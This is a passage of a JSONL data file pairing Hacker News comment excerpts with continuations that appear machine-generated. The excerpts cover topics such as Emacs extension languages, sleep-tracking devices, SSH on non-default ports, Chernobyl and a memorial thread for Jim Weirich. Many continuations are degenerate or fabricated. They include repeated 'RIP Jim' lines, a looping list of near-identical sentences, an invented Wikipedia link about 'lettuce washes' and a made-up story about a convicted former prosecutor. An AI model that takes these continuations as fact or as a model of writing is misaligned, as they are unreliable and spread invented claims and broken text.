document. Only to find\nno lawyer's name at the bottom, just his own"} +{"output_text": "'t think any of these questions are related to software development.\n\n~~~\nmattmanser\nI'm not sure why you're getting so worked up about this.\n\nHe's not asking you to know the details of how a hash works. He's asking you\nif you know the basics of statistics and probability.\n\nHe's not asking you about the memory model. He's asking you if you know the\ndifference between r/w locks and mutexes.\n", "input_text": ", to\nanyone familiar with the topics, his questions are pretty trivial. The only\nthing under contention is if the topics he considers relevant are actually\nrelevant.\n\n~~~\nmattmanser\nBut what have they got to do with _software development_.\n\nZero. Zilch. Nothing. Absolutely sod all.\n\nFrom the OP's original post, after seeing the questions over the days, his\nclaim:\n\n _If you can't answer the majority of the questions on these four papers, and\nyou're working or intend to work as a software developer, you should ask\nyourself why \u2014 most likely you're either you're missing something you really\nshould know, or you're lucky enough to be working within a narrow area where\nyour deficit doesn't matter_\n\nSo far almost none of the questions on any of the days have been the slightest\nbit 'important' in software development.\n\n~~~\nirahul\n> But what have they got to do with software development. Zero. Zilch.\n> Nothing. Absolutely sod all.\n\nI don't have all of his questions at hand, but from memory:\n\n1\\. Basic knowledge of statistics and probability is required for machine\nlearning.\n\n2\\. His question about zeroing multi-dimension array is to test if you\nunderstand the under lying memory model.\n\n3\\. Do we really need to discuss why you should know how cryptographic hashes\nwork?\n\n4\\. B-tree has better locality of reference and are de-facto data structure\nfor storage for majority of the cases. Granted, not many people do low level\nstorage, but does that somehow makes it irrelevant to software development?\n\n5\\. Mutex, rw-locks etc are building blocks of concurrent programs.\n\nI don"} +{"output_text": ", we will see that the emacs\ncommunity is the best.\n\n~~~\nlispm\nI think that's a bit of a stretch.\n\nThere are already a lot of people using different languages in Emacs.\n\nThere are also people who use different modes in Emacs.\n\nThere are people who use different editors in Emacs.\n\nThere are people who use different programming languages in Emacs.\n\nThere are people who use different languages in Emacs", "input_text": "IDE is implemented.\n\nTherefore, it matters what language is used as a base. People mentioned Lua or\nJavaScript, but they are nowhere near useful enough for the task.\n\nTherefore, it feels to me - and I believe to many other Emacs users as well -\nit matters that there should be _one base language_. Emacs as an Elisp system\nwith text editing capabilities _feels_ like a whole. Everything fits together\nnicely and interacts with each other. It is elegant. Aside for inviting\nmaintenance upkeep and general chaos, making Emacs \"run\" multiple languages at\nthe core is sort of like shattering its soul into many pieces. I don't want to\nhave an editor with multiple-personality disorder.\n\nImagine you're writing an executable in three different programming languages\nmixed together at the same time. That class is written in Common Lisp, but\nit's child classes are written in C++. And exception handling everywhere is\nwritten in Python.\n\nThe sheer mental effort to make all of these work in a conceptual harmony\ninside a single program would be enormous. And it would still feel weird.\n\nThat is what multiple-extension-language Emacs would feel.\n\n~~~\nlispm\n> It's basically backwards of how a typical editor/IDE is implemented.\n\nThe main difference is that the implementation language is a dynamic language,\nwhich is also mostly the implementation language.\n\nThat's similar to how some other IDEs work like Smalltalk or Clozure CL on the\nMac. But those are not focused on implementing an extensible editor. Those are\nIDEs with editing features.\n\n------\nterminalcommand\nIf emacs supported new languages other than elisp, a lot of new blood will\njoin the community. Once we get the new hackers"} +{"output_text": " the accelerometer is great at detecting movement, it's not great at\ndetecting the position of the phone on the bed 2) I'm not sure how well the\nphone's orientation will hold up over the course of a night.\n\nI've been using the SleepyHead () on my pillow\ninstead. It's not as fancy as the iPhone app, but it's much more effective\nfor me.\n\n------\n", "input_text": " the entire day, but only if it's fully charged when I get\nup in the morning.\n\n~~~\nspydertennis\nOh I see. We did a lot of work to make the product use minimal battery on the\nphone so hopefully that helps.\n\n~~~\nchollida1\n> We did a lot of work to make the product use minimal battery on the phone so\n> hopefully that helps\n\nAs a person who pre-ordered the phone, that is appreciated very much:)\n\n------\nrsaarelm\nAfter reading the previous thread, I got interested in this and dug up the\nfree ElectricSleep app for Android\n(). It seems to be pretty much\nequivalent to iPhone's Sleep Cycle app, it uses the phone's accelerometer with\nthe phone placed on the bed. Only had time to test it one night so far, but it\nmanaged to wake me up easily from a duration of sleep that would usually have\nleft me in zombie mode.\n\nProblem with these things is that getting psyched about a fancy wake-up\ntechnology is likely to create a placebo effect for a while, so I'll need to\nstick with the thing to see how well it works in the long haul. Might look\ninto WakeMate if the accelerometer alarm thing is still working good after a\nmonth or so.\n\nAn interesting thing to try with these things is doing the Everyman sleep\nschedule with a 4-5 hour nightly sleep and several 20 minute naps every day,\nand attacking the most common point of failure where you oversleep on the\nnightly core sleep with the smart alarm.\n\n~~~\nkevinelliott\nI struggle with placing items like my iPhone on the bed for 2 reasons: 1)\nalthough"} +{"output_text": ",\nX means it's a special edition.\n\n~~~\npedrocr\nYup.\n\n------\njhallenworld\nI always thought the \"lettuces\" were a reference to the lettuce-based car\nwashes.\n\n[https://en.wikipedia.org/wiki/Lettuce_wash](https://en.wikipedia.org/wiki/Lettuce_wash)\n\n~~~\njhallenworld\nI mean, it's not", "input_text": "'s a joke, it is taking it too far, so it just\nbe true. => Apparently, the 'Lettuce' was a car, and they also sold the _\"\nMitsubishi Mini Active Urban Sandal\"_. Most cars there are Asian, so I guess\nthis is a sign of a cultural chasm between 'the west' and 'the east'.\n\n------\nacomjean\nVWs used to be named after trade winds: Golf, Scirocco, Jetta...[1] Though now\nits a mixed bag.\n\nAnd BMWs use a model series, engine size. 325i. = 3 series, 2.5 l engine.\nUnless its the sporty version then its just M+series (EG M3)\n\nI have a honda element, I have no idea how it was named, but leads to bad\njokes about being in my ______.\n\n[http://members.iinet.net.au/~felsche/Bernd/trivia/vwcars.htm...](http://members.iinet.net.au/~felsche/Bernd/trivia/vwcars.html)\n\n~~~\npedrocr\nOn BMW it used to be like that but is no longer the case. A 325d is now a 2\nliter engine with a larger turbo. A 340i has a 3 liter engine. And so on.\nThey've kept the model numbering but as smaller engines gained performance and\nefficiency they've replaced smaller engines in larger named cars.\n\n~~~\n013a\nAt least with BMW its consistent. A series number (3) followed by two numbers\nwhere a larger number represents a larger engine (30/40), followed by X if it\nhas all wheel drive. M means performance. Series numbers increase with price"} +{"output_text": " have sued the guy for stealing their\nidea.\n\n~~~\njzwinck\nThe app store is not a patent pool. If you have a product that someone wants,\nyou can make it and sell it. If you have a patent that someone wants, you can\nsell it.\n\n~~~\ndiminish\nI know that. But if someone would have sued apple for the www, would apple\nhave accepted it?\n\n~~~\njzwinck\n", "input_text": "~~~\nDylan16807\n> Say they implement the scheme you mention in clang and the LLVM linker, so\n> the function bodies of their public APIs end up placed in that privileged\n> region of memory, and those of their private APIs end up in the restricted\n> region.\n\nAgreed that this design is fundamentally flawed, but that's because the coder\nis providing the implementations of private code. Providing that is Apple's\njob.\n\nPut privileged code into a dynamically-linked library that Apple provides.\nOnly code in that block of memory can call private APIs. Pretty\nstraightforward to implement, and requires nothing fancy from the kernel.\n\nOf course this only works if you can prevent the attacker from corrupting\nmemory.\n\n~~~\neuyyn\nI don't know if iOS does randomization of loading addresses, but if so, that'd\nbe a disadvantage.\n\nAnd well, in any case they need to maintain compatibility with current apps\nfor who knows how many years.\n\n~~~\nDylan16807\n> I don't know if iOS does randomization of loading addresses, but if so,\n> that'd be a disadvantage.\n\nSuch a scheme wouldn't stop ASLR. The loader just needs to tell the\nverification code where it put the privileged libraries.\n\n> And well, in any case they need to maintain compatibility with current apps\n> for who knows how many years.\n\nDo they? I think Apple could easily order everyone to switch over to a more\nsecure compiler with a one year deadline.\n\n------\ndiminish\nJust imagine www didn't exist and Apple already had ios and apps. If someone\ncame up with the idea of www and an app called web browser, would apple\naccept it in the app store? They would"} +{"output_text": "ify data in their data structures, etc.\n\n------\njokull\nI think the biggest problem with JS frameworks is that they are all\nproprietary. If you want to distribute your app, you have to distribute the\nframework. If you want to use a framework that is popular, you have to use\ntheir installer, their documentation, their community, etc.\n\n~~~\njokull\nI think the biggest problem with JS frameworks is that they are all\n", "input_text": "js, I'll push it online and all design credits goes to you\nof course! Myjs.fr has been tweeted and visited a lot since yesterday! @jie\n\n------\nbretthopper\nTwo suggestions:\n\n\\- Get this on GitHub\n\n\\- Get a native english speaker/writer to fix up the copy\n\n~~~\njie\nI'm pushing it on Github and I'm also coming to the States before Summer.\nSure, I'll find nice people to help me fix up the copy!\n\n~~~\ntonyskn\nWhat's the link for my.js on Github?\n\n------\njerome_etienne\nThe work behind is impressive and inovative.\n\nMore general benchmarks would be nice. more real life situations maybe, even\nif it is hard to say what is'real life'.\n\nor simply to fork and to put myjs in there\nto see how it compares.\n\n~~~\njie\nTotally right. I intend to add much more benchmarks and concrete examples in\ndays to come. At first, I wanted to use Slickspeed but Slickspeed is very much\n\"selectors\" oriented. It was useful to have those selectors tests 3 years ago\nwhen each framework had to implement its own selector methods. But today, no\nmatter which framework, under the hood it's the same \"querySelectorAll\"\nmethod. So comparing frameworks according to their selectors like slickspeed\nis a bit like comparing the performances of 2 PCs with the same hardware. In\nfact, the real difference between JS frameworks comes from the way they handle\ntheir HTMLElement wrappers, how those are created, how fast they access and\nmod"} +{"output_text": "http://www.wakemate.com/blog/wake-mate-starts-tracking-your-\nsleep-behavi...](http://www.wakemate.com/blog/wake-mate-starts-tracking-your-\nsleep-behavior-and-helps-you-sleep/)) to detect when you\u2019re dreaming and\nhelp you fall asleep faster._\n\nI don't get it. How does this help you", "input_text": " of the phone as safe and inert, not\nrestricting your movement, #2 won't be such a problem?\n\n------\nmrchess\nA couple questions:\n\n1\\. Can anyone compare WakeMakes with that clock thing that tracks your eye\nmovement by wearing an eyemask? The name of the clock escapes me at the\nmoment, will edit this post once I remember.\n\nedit: it's called Zeo\n\n2\\. If I know I wake up at least once a night to use the bahtroom out of habit\ndoes this disrupt the wake-up system in any way?\n\n~~~\nclewiston\nWe have a comparison chart here: \n\nWakeMate is cheaper, more comfortable, and easier to use.\n\nGetting up in the middle of the night won't affect anything. Our analytics\nsystem will, however, tell you that you woke up during the night.\n\n~~~\nFrazzydee\nYou should probably update the price column. It still says $49.99, although\nthe price increased to $59.99.\n\n------\nmoozilla\nIs it possible to use this if you don't own a smart phone?\n\n~~~\nanon-e-moose\nDitto. I'm quite happy with my qwerty-keyboard dumbphone, but I would love to\nbuy one of these!\n\n~~~\nellism\nIt works with newer generation iPod Touches or iPad, so if you really wanted\none, you could always buy one of these devices to use it with.\n\n------\ncsomar\n_The WakeMate is a comfortable wristband that you wear when you sleep. It\nmeasures subtle body movements\u2014a scientifically proven method\n([link]"} +{"output_text": "\n~~~\njobigoud\n> it seems ridiculously convenient for someone from a western country to ask\n> a couple billion people to reduce their emissions while they themselves will\n> find every opportunity to reduce their own accountability.\n\nIt's not convenient at all. It's the only way.\n\n~~~\nomk\nI'm not sure how you get from \"it's not convenient at all\" to \"it's not\nconvenient for someone from a western country\".", "input_text": ".\n\n~~~\nyk\nIt's also the largest country, by a large margin.\n\n~~~\nrimliu\nWhere does this leave Russia which is almost twice as big and Canada which is\nonly slightly bigger? And China is less than 1% larger than USA.\n\nPopulation-wise China is the largest, but India is not that far behind.\n\n~~~\ntrickstra\nSiberia\n\n------\nsatyenr\nPreviously discussed at\n[https://news.ycombinator.com/item?id=20029966](https://news.ycombinator.com/item?id=20029966)\n\n~~~\npcdoodle\nThanks, Thought I was going crazy.\n\nLol about it being crops and not trees, what a crap article.\n\n------\nmytailorisrich\nForest coverage has been increasing in several European countries as well\n(e.g. UK and France off the top of my head)\n\n------\nknown\nThis goes for a toss when correlated with\n[https://en.wikipedia.org/wiki/List_of_countries_by_greenhous...](https://en.wikipedia.org/wiki/List_of_countries_by_greenhouse_gas_emissions)\n\n~~~\ngovg\nWhy not do it per capita instead?\n\n~~~\njobigoud\nClimate Change doesn't care about per capita.\n\n~~~\nomk\nClimate change doesn't care about which country either.\n\nI agree with the fact that China and India need to focus on their emissions,\nbut it seems ridiculously convenient for someone from a western country to ask\na couple billion people to reduce their emissions while they themselves will\nfind every opportunity to reduce their own accountability.\n"} +{"output_text": " because it was too far.\n\nFast forward to this year and I'm back in LA. I'm staying in the same B&B and\nI'm walking to the reservoir every day. I'm wondering if the perception of\ndistance is a big deal or if I'm just getting lucky.\n\n~~~\njessriedel\nI've walked to the reservoir from my house in Silver Lake in the past. It's\nabout a 20 minute walk, mostly along a pleasant residential", "input_text": "/ncurrent/full/ngeo2400.html)\n\n~~~\n6t6t6\nThe streets of most cities in South Europe are covered by deciduous trees.\nIMHO, it is the best way to make the cities walkable in summer while not\npreventing the sun to warm the streets in winter. Also, cities with trees on\nthe streets are beautiful.\n\nOf course, that mean that the council has to spend money taking care of that\ntrees.\n\n------\nsologoub\nMuch of the rail expansion is rather disappointing. For example in expo phase\n2, closer you get to ocean the better spaced the stations are (closer\ntogether), but between Bundy and sepulveda, there are no stations and little\nsane way to go in between, yet Bundy station is less than a mile away from\n26th st station.\n\nTo add insult to injury, I recently followed the much touted bike path that is\nsupposed to connect to existing SM bike paths at 17th street, but the damned\nthing ends at Cloverfield with no way that I can tell of safely getting to\n17th street or anywhere near a designated bike lane. And no, I do not consider\nit safe to try and ride on Olympic blvd without a protected lane...\n\n------\nbpyne\nA question for the LA natives on here.\n\nLast year at this time, I had the chance to visit LA for my first time. I\nstayed in a B&B in Los Feliz and spent a few days walking around it and Silver\nLake. My first day I asked the B&B owner about walking to the reservoir\nbecause I read online that it's a gathering point for people in the area. The\nowner told me he had never walked there"} +{"output_text": " X-Rays anymore, and i have a pretty\nhealthy life.\n\n~~~\npjc50\nThe risk of cancer from radiation is not linear with the amount of radiation\nyou receive.\n\n~~~\ndasbsd\nI know that. I'm talking about the risk of getting cancer from the radioactive\nsubstances that were released into the air and soil.\n\n~~~\npjc50\nThe risk of getting cancer from a radioactive isotope is not linear with the\namount", "input_text": "_rad\nI've been to Chernobyl in 2013 and while I've read a lot about the disaster in\nadvance, I couldn't grasp the whole dimension. Shot some pictures with an old\nmamiya 645\n[https://photos.google.com/album/AF1QipNThxVDtsEv9O_FuPty6Opr...](https://photos.google.com/album/AF1QipNThxVDtsEv9O_FuPty6OprdWXYqF_BaULq55aK)\n\n~~~\nBuildTheRobots\n404 error :(\n\n------\nYadi\nI learned all about Chernobyl from the video game Call Of Duty: Modern\nWarefare. It's tragic and sad!\n\nThere are some villages in North Iraq where it's similar to this, due to the\nchemical bombing. It's gives tou shivers just knowing that a town use to be a\nnormal day to day living place and now just a ghost town.\n\n\"50,000 people used to live here, now its a ghost town\" -MW2\n\n------\navodonosov\nAren't you afraid of Strontium when visit the zone?\n\nBecause it has chemical properties of calcium, so can participate in your\nmetabolism and remain in your body (bones), constantly irradiating you.\n\n------\nalena1108\nWitnessing Chernobyl effect on my homeland Belarus, I can never understand\npeople fascination with this place. But bringing awereness is a good thing\n\n------\ndasbsd\ni really don't understand why people keep taking the risk. only one damaged\ngnome in one single cel will be enough to give you cancer in 10 years. I\npersonally dont't even take dental"} +{"output_text": " full control over what gets prioritized.\n\n~~~\ntptacek\nI'm not sure I follow. Automated attacks on SSH are a problem, but they're\nalso a problem on standard ports.\n\n~~~\nguiambros\nBecause they're not running a port scanner.\n\n~~~\ntptacek\nI don't know what you're talking about.\n\n------\ntptacek\nThis is a terrible idea.\n\nSSH is", "input_text": " if you can argue 'no protection' while at the same time\nadmitting that the number of attacks was greatly reduced for a while: I always\nhated that advice with a passion.\n\nNo, do not run SSH on a non-default port. It's nothing but an obscurity hack,\ndoes little good and breaks a lot of workflows (routers that prioritize port\n22 as interactive traffic, firewalls that explicitly allow ssh - on port 22 of\ncourse, tools that are awkward to use as soon as you need to use a different\nport than the _standard_ one).\n\nI admit that I mocked people recommending that practice in the past. That's\nchildish of course, but if the data of this submission is correct I can now\nadd a more serious 'Please do not do that' argument to my list.\n\n~~~\nguiambros\nThere's a strong reason for advocates (like myself) for running ssh on non-\nstandard ports: it reduces 99% of automated attacks and bots.\n\nYes, you could use fail2ban and ban half the internet, but that just clogs\nyour filtering rules and makes your system waste memory and cycles. Case in\npoint: one of my servers with ssh on port 22 had +9,000 denied IPs over less\nthan one year. On a non-std port, ~100.\n\nThere's almost no drawback to using a non-standard port. Everything that uses\nssh allow port customization (and I wouldn't trust something that doesn't).\n\n _> routers that prioritize port 22 as interactive traffic_\n\nInternet routers don't typically do any QoS (except to _reduce_ the priority -\nbittorrent/etc), let alone prioritize 22. And within your own network, you\nhave"} +{"output_text": ". I have to admit it's not\nthe prettiest of programs. But it does work. And it's not windows.\n\n~~~\njoe_the_user\nI'm not sure what you mean by \"invasion on patch tuesday\" but I'm pretty sure\nthat Microsoft's version of the Windows kernel is not what you think it is.\n\n~~~\nsandworm\nNo windows updates on patch tuesday?\n\n~~~\njoe_the_", "input_text": " got at least one on every boat rather than make everyone\nlearn. We've got plenty of ways to defeat jamming, the newest block of GPS\nsatellites have ways to increase signal power in certain areas and anti-\nradiation missiles can blow up a jammer. GPS only comes from space so it's\npretty easy to find someone on the ground messing with it. We also have things\nlike star trackers that are used on satellites to determine position without\nGPS that could easily be implemented on a boat if not already on there. These\nsystems could be hardened against EMPs and only brought out in case of\nabsolute emergency. I don't see the need of every navigator having their own\nsextant.\n\n~~~\ngoatinaboat\n_How many people on the boat do you need that know celestial navigation?_\n\nEasy. The same number that know how to use a GPS. Your one guy may be the\nfirst casualty.\n\n _We've got plenty of ways to defeat jamming, the newest block of GPS\nsatellites have ways to increase signal power in certain areas and anti-\nradiation missiles can blow up a jammer._\n\nWhat do you do when your enemy dumps a load of sand in orbit?\n\n~~~\nls612\nGPS isn\u2019t in low earth orbit it\u2019s in a very high orbit so it shouldn\u2019t be\nvulnerable to either asat missiles or space junk clogging up its orbit\n\n------\nsandworm101\n>> IVAS is a Microsoft-designed heads-up display that functions as a fight-\nrehearse-train system, among other roles.\n\nSo... no invasions on patch tuesday? In all seriousness, I'm in the military\nmyself and therefore have to use microsoft software"} +{"output_text": " a good article on the subject:\n\n\n\n~~~\nTichy\nI am not sure about the inverse square law, but I am sure that the levels of\nradiation are not that high that you need to worry about it. I am not", "input_text": " of people.\n\nBut those kinds of projects will get starved for funding. So we'll end up with\na lot of panicked people in California who shoot down new nuke plants in favor\nof coal/natural gas (the coal miners who die are in China, so there are no\npolitical consequences) and underestimate things like seawalls. California is\nsaid to be overdue for a big quake, but I hope they're wrong about that.\n\n~~~\nTichy\nNonsense, Japan already has invested a lot in Tsunami protection, they will\nnot starve funding for that. Who says it is an \"either invest in anti-Tsunami\nor anti-nuclear-power measures\" kind of thing? And no, I don't live in a\ncoastal area, so enhancing seawalls is not my interest or priority.\n\nAs for protection suit: contamination, why should it matter if it is only as\nbad as eating a banana? Your banana argument really makes no sense.\n\nI have little hopes for nuclear power to go away, nor fossile fuel plants. I\nthink it would be possible, but lifestyles would have to change too much (for\nthe better in my opinion, but many people would disagree). We certainly could\nsave a lot of power, so it would not have to be necessary to replace nuclear\npower plants with fossile fuel plants.\n\n~~~\nNatsu\n> As for protection suit: contamination, why should it matter if it is only as\n> bad as eating a banana? Your banana argument really makes no sense.\n\nHow radiation affects one's body is a complex issue. The inverse square law\nalso comes into effect. So something can be dangerous close up, but no threat\nto anyone who doesn't get close.\n\nArs Technica has"} +{"output_text": "~~~\njokoha\nSorry, I should have been more clear. I'm not a fan of the project, but I\ncan't find any way to load the images without loading the entire application.\n\nI'm not sure what you mean by \"loads external images\". I can load images just\nfine from any web browser.\n\nI'm not sure what you mean by \"does not let you opt in or out\". I have opted\nout of loading any Google services", "input_text": " should be customers but aren't--find out why. If you\nchase the existing players you end up with a large feature set and the need\nfor a large development effort that looks more superset than distinct. Think\nabout features you can delete from existing solutions and still appeal to a\nsegment of users. Think about one or two missing features you can add after\nyou have deleted many of the existing ones. A really good book on this is\n\"Four Steps to the Epiphany\" by Steve Blank, cheapest place to buy it is here\n\n\n~~~\nfelipe\n\"Four Steps to the Epiphany\" is a must-read. Also, get \"Bootstrapping\" from\nGreg Gianforte.\n\n------\nrokhayakebe\nlaunch.\n\n~~~\nRaphael\napt.\n\n------\nsabat\nWhy be concerned about raising red flags? I don't think I would be. As PG has\nreminded us, the idea is far less important than its implementation.\n\n \nTutanota: GPLv3-licensed, end-to-end encrypted email - jokoha\nhttps://tutanota.de\n======\nmike-cardwell\nLoads external images. By Default. With no option to turn off.\n\nNot a viable webmail client for anyone who expects privacy.\n\n[edit] The email that it sends to external addresses does not have a\ntext/plain part, only html\n\n[edit] Stores your email address in session storage and then pre-fills next\ntime you log in. Does not let you opt in or out and doesn't warn you that this\nwill happen. Unsuitable for a \"public\" machine.\n\n"} +{"output_text": ", and I know a few\nothers who are working on it.\n\n~~~\npnathan\nI'm not a Lisp guy. I have a hard time getting my head around the complexity\ninherent in the language.\n\nI'm a C guy.\n\n~~~\ndanking00\nI'm not either, really. I just don't like the way elisp handles some things.\n\n------\njongraehl\nI think this is a great idea", "input_text": "\nNortheastern University's and University of Utah's faculty, to \"seek to\ndevelop bug-free, secure technology using brand-new programming languages that\nenable programmers to write large, complex software.\"[1]\n\nAround campus, it's been described as an opportunity for Shivers et al. to\nwrite a Operating System built completely with functional languages, from the\nlow-level drivers up to user space tools and new programming languages.\n\nMy personal thoughts is that it'd be awfully cool to have something like\n\"Emacs as a real OS.\" Perhaps it is lack of knowledge and self-confidence or\nthe limited nature of Emacs, but I find it way easier to change the way Emacs\nworks than to change the way the Linux kernel, GNOME, GNU tools, etc. work.\n\n[1] Page 12 of \n\n~~~\npnathan\nI think it would be interesting to chop a *macs into an operating system. I\nwould approach it in an iterative fashion with these initial goals:\n\n\\- Replace elisp with Common Lisp\n\n\\- Build os-level threading support\n\n\\- Build a hardware abstraction layer / target a 'bare' machine.\n\nThat gets someone a 'ways' towards a traditional Lisp OS.\n\nI think one of the big questions that arises in for a modern Lisp system is\nthe design of of multiple processes and multiple users.\n\n~~~\ndanking00\nPersonally, I'd rather toss Lisp entirely and go with Scheme, but something\ndefinitely needs to be done about elisp. There's a small group of undergrads\nhere at NU hacking on Edwin, a Scheme based Emacs clone"} +{"output_text": "joeevans1000\nRIP Jim. I'm so sorry to hear this.\n\n------\njoeevans1000\nRIP Jim. I'm so sorry to hear this.\n\n------\njoeevans1000\nRIP Jim. I'm so sorry to hear this.\n\n------\njoeevans1000\nRIP Jim. I'm so sorry to hear this.\n\n------\njoeevans1000\nRIP Jim. I'm", "input_text": ", who was _really_ smart.\n\n------\ndraegtun\nMy first opensource creation was a port of Jim's wonderful Builder gem. Many\nthanks Jim for the inspiration you'll be sorely missed.\n\n------\nkidmenot\nThis is sad. I'm not much of a Rubyist, but I leant on Rake quite a bit to\nautomate builds and whatnot.\n\n------\ntheceprogrammer\nJim, rest in peace brother! you will be cherished forever along with all the\ngreats. You have joined the ranks of the fallen heros of both our craft and\notherwise. A life well lived, full of joy, full of love.... we will miss you.\n\n------\ngirishso\nI can never forget the discussion I had with Jim during Rubyconf India last\nyear. He was so devoted to coding\u2026 I envied him. Very friendly and energetic.\nVery sad to hear the news.\n\n------\ncharlieflowers\nJim Weirich was a legend, and deservedly so. Rake was (and is) a masterpiece.\nI'm sad to see Jim go and I want to pay respect to his contributions and his\nlife.\n\n------\ndiminish\nSad day, just read his last tweet few hours ago.....\n\n------\nseanhandley\nI'm devestated to hear this. I met Jim at Scot Ruby 2012. A sweet, bright,\nkind and funny man. RIP.\n\n------\nshahinh\nJim was a great man and an awesome contributor to the Ruby community. He will\nbe missed indeed. RIP.\n\n------\njackson1990\nJim was a great guy and an awesome contributor to the Ruby community. He will\nbe missed indeed. RIP.\n\n------\n"} +{"output_text": " of the Fed, not banks.\n\n~~~\nmschuster91\nBecause the US is the only developed country in the world where you have to\nundergo these bullshit ID checks for any and every transaction.\n\n~~~\njnbiche\nI don't know why you're getting downvoted for this. I'm not saying that the\nUS is the only country with these requirements, but that it's a big problem\nthat people have to go through these checks.\n", "input_text": " another person in less than 10 minutes which I know from\nexperience is pipe dream.\n\n------\ndeltaqueue\nI had a similarly poor experience[1]. Many people are retorting that you have\nto go through this process with all financial institutions. To those, I say\nyou're missing the point. We still have to answer a lot of questions regarding\nregulation around cryptocurrencies, but part of the allure is that you\nshouldn't have to jump through a bunch of hoops to use bitcoin. Furthermore,\nthe first (and only) time I dropped by the bitcoin markup was astronomical.\n\nIt's naive to think we'll resolve this overnight, but until then there's no\npoint to using a robocoin ATM.\n\n[1] [http://www.jauntworthy.com/blog/2014/2/21/first-\nimpression-o...](http://www.jauntworthy.com/blog/2014/2/21/first-impression-\nof-robocoins-bitcoin-atm)\n\n------\nmschuster91\nThe main problem is the PII like palm prints, driver ID etc. and no ATM\noperator right in his mind can leave that step out if the ATM handles dollars\nin any amount.\n\nFuck banks, fuck their anti-money-laundering regulations and fuck the\npoliticians for the \"war on drugs\" which actually led to the creation of said\nanti-money-laundering rules.\n\n~~~\njnbiche\nI agree with you that all the privacy invading things here are a big problem,\nbut why do you blame banks for AML/KYC? I mean, there's plenty of other things\nto blame banks for, but the ID, photo, etc. requirements are due solely to the\npolicies"} +{"output_text": " guy who cut off the fingers off of his wife's toes.\n\n------\nthrowaway-1283\nI'm a former federal prosecutor and I can assure you that the \"expert\" in this\narticle is not a former federal prosecutor.\n\nThe author is a former prosecutor who was convicted of obstruction of justice\nfor lying to investigators about her involvement in a case.\n\nThe author is also a former prosecutor who was convicted of obstruction of\njustice for lying to the", "input_text": " be unemployed at time of re-arrest.\nContrariwise, there's very little chance of someone who has found employment\nbeing re-arrested. Employment is truly the silver bullet that short circuits\nthis pernicious cycle of recidivism.\n\nRecent studies have shown that those with records often emerge as an\nemployer's best hires. Unlike others, people with records have no sense of\nentitlement and truly appreciate the opportunity they've been afforded.\nTypically, they reward employers with great loyalty, which translates to much\ngreater retention (the true bane of HR professionals).\n\nWhile attitudes are changing for the better (I, as a formerly incarcerated\nperson, have noticed this in my own life), there still exists a great negative\nbias towards those with records, the NY Times notwithstanding. Racism figures\nmightily in this equation. But we're a country that elected a racist\nPresident, whose Atty General is eager to reinstate ineffective drug laws\n(including marijuana) that destroyed lives, families and communities in the\n80's 90's and even today.\n\nAnyone with a record can attest to the stigma that doesn't leave after doing\none's time. In fact, for most, it's a life sentence, a sentence that even low\nunemployment can't expunge.\n\n~~~\nXeoncross\nIf I remember correctly, while the U.S. makes up only 5% of the world's\npopulation, we incarcerate 25% of the worlds prison population. I am thankful\nfor work like yours that is helping to rehabilitate people in the most danger.\n\n~~~\nshams93\nMore people are getting arrested and going to jail for more trivial things\nthan ever before. Last time I did jury duty it was not a stabbing or drug\naddict it was a"} +{"output_text": " who have been wrong\nfully convicted.\n\n------\nyakult\n> The Japanese justice system is built on the idea that the state is the\n> ultimate guarantor of a fair trial.\n\nI don't think that's true. The state is the ultimate guarantor of a fair trial\nin the sense that it can't arbitrarily change the rules of the game, but it\ndoesn't guarantee a fair trial.\n\n> The Japanese system is built on the idea that", "input_text": " some modern concepts for\nsociety, ex:\n[https://en.wikipedia.org/wiki/International_child_abduction_...](https://en.wikipedia.org/wiki/International_child_abduction_in_Japan)\n\n~~~\nzAy0LfpBZLC8mAC\n> Japan is a really weird country, on one hand it's the safest country\n\nHow do you know it is safe if you can easily be wrongly convicted, but no\nstatistic about the country shows that?\n\n~~~\nhamilyon2\nCriminals think seven, no, seventy times before doing anything that could\npossibly upset japan national on Japanese soil.\n\nThis is how it is that safe.\n\n~~~\nstcredzero\n_Criminals think seven, no, seventy times before doing anything that could\npossibly upset japan national on Japanese soil._\n\n _This is how it is that safe._\n\nOr, the criminals are organized and have connections and unspoken agreements\nwith the authorities, existing in a kind of truce.\n\n(EDIT: In essence, the seven to seventy times thinking over has been enshrined\nand institutionalized.)\n\n------\nAcerbicZero\nI'm not going to tell the Japanese how to run their society, primarily because\nI'm not Japanese, they're a sovereign nation, and there is no evidence that\nthe system I'm currently subjected to is any better or worse.\n\nIf the Japanese people want to change this, and want external support to\nchange this, that is an entirely different discussion from what was in this\narticle.\n\n~~~\nstcredzero\n_there is no evidence that the system I'm currently subjected to is any\nbetter or worse_\n\nThere's plenty of evidence in the form of the many people"} +{"output_text": " I'm\ncurious what it was.\n\n~~~\nkristianp\nIt's a query string parameter that you can set to true.\n\n[https://help.github.com/articles/using-github-\nmanually](https://help.github.com/articles/using-github-manually)\n\n~~~\ncosmicexplorer\nAh, thanks!\n\n------\njph98\nI\u2019m a data scientist at a", "input_text": "Kiro\nThis is awesome!\n\nI currently have a small pet project where I think some simple ML would be\ncool but I don't know where to start so these things are great.\n\nBasically my use case is that I have a bunch of 64x64 images (16 colors) which\nI manually label as \"good\", \"neutral\" or \"bad\". I want to input this dataset\nand train the network to categorize new 64x64 images of the same type.\n\nThe closest I've found is this: [https://gist.github.com/sono-\nbfio/89a91da65a12175fb1169240cd...](https://gist.github.com/sono-\nbfio/89a91da65a12175fb1169240cde3a87b)\n\nBut it's still too hard to understand exactly how I can create my own dataset\nand how to set it up efficiently (the example is using 32x32 but I also want\nto factor in that it's only 16 colors; will that give it some performance\nadvantages?).\n\n~~~\nnl\n[https://blog.keras.io/building-powerful-image-\nclassification...](https://blog.keras.io/building-powerful-image-\nclassification-models-using-very-little-data.html) is what you want.\n\n------\ncosmicexplorer\nWhat is the meaning of the \"?bare\" query string in the url? I googled around\nfor the meaning of query strings on the github site but only found rnandom\nrepos on github (not sure how to narrow the search). The first time I tried\nremoving it I saw another folder named \"to_do\", but this is gone now so"} +{"output_text": "available in the back-alley of the second hand market.\n\n~~~\narethuza\n\"Dumping in a global recession\" is a pretty scary scenario - I can't imagine\nanything that would be _more_ durable than stuff that you bought!\n\n------\njstalin\nI'm not sure I understand the point of this article. I think the author is\ntrying to make a point about the permanence of technology, but I don't\nunderstand how", "input_text": ", a global economic\ndepression would result in people keeping their possessions longer simply\nbecause they don't have the money to buy new.\n\nLook at the many other products in our lives that people regularly replace\nbefore their usefulness has expired. Cars are probably the best example. When\nthe economy is booming, people replace their cars rapidly. As it slows down,\nthey hold on to them longer. I can't find any long term data, but the graph\nand caption on this page imply that the two are correlated: \"The Changing 